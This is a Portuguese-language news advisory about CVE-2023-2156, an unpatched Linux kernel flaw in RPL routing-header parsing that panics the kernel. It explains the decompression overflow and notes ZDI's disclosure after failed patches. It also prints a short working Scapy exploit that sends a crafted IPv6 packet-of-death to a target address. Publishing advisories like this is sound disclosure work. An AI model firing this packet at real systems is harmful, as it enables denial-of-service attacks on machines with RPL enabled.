Foram revelados detalhes de uma vulnerabilidade não corrigida (0-day) (CVE-2023-2156) no núcleo do Linux, que permite interromper o funcionamento do sistema ao enviar pacotes IPv6 formatados de maneira específica (packet-of-death). O problema ocorre apenas com o suporte ao protocolo RPL (Routing Protocol for Low-Power and Lossy Networks) ativado, que está desativado por padrão nas distribuições e é utilizado principalmente em dispositivos incorporados que operam em redes sem fio com alta perda de pacotes.
A vulnerabilidade é causada pelo tratamento incorreto de dados externos no código que analisa o protocolo RPL, resultando na falha de assert e fazendo com que o núcleo entre em estado de pânico. Quando os dados, obtidos a partir da análise do cabeçalho do pacote IPv6 RPL, são armazenados na estrutura k_buff (Socket Buffer), se o campo CmprI for definido como 15, o campo Segleft como 1 e CmprE como 0, um vetor de 48 bytes de endereços é descompactado para 528 bytes, resultando em uma situação onde a memória alocada para o buffer é insuficiente. Nesse caso, na função skb_push, que é utilizada para inserir dados na estrutura, há uma verificação de desproporção entre o tamanho dos dados e o buffer, gerando um estado de pânico, a fim de evitar escrita além dos limites do buffer.
Exemplo de exploit: # Usaremos o Scapy para criar o pacote from scapy.all import * import socket # Use o IPv6 da sua interface LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Usamos sockets para enviar o pacote sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Crie o pacote # Type = 3 torna isso um pacote RPL # Addresses contém 3 endereços, mas como CmprI é 15, # cada octeto dos dois primeiros endereços é tratado como um endereço comprimido # Segleft = 1 para ativar a amplificação # lastentry = 0xf0 define CmprI como 15 e CmprE como 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=[«a8::», «a7::», «a6::»], segleft=1, lastentry=0xf0) # Envie este pacote maléfico sockfd.sendto(bytes(p), (DST_ADDR, 0))
Notavelmente, os desenvolvedores do núcleo foram notificados sobre a vulnerabilidade em janeiro de 2022 e, nos últimos 15 meses, tentaram resolver o problema três vezes, lançando patches em setembro de 2022, outubro de 2022 e abril de 2023, mas em cada tentativa as correções foram insuficientes e a vulnerabilidade pôde ser reproduzida. No final, o projeto ZDI, que coordenou o trabalho para corrigir a vulnerabilidade, decidiu divulgar informações detalhadas sobre a vulnerabilidade, sem esperar por uma correção funcional no núcleo.
Assim, a vulnerabilidade ainda permanece sem correção. O patch incluído no kernel 6.4-rc2 também é ineficaz. Os usuários são aconselhados a verificar se o protocolo RPL não está sendo utilizado em seus sistemas, o que pode ser feito com o comando sysctl -a | grep -i rpl_seg_enabled
Fonte: opennet.ru
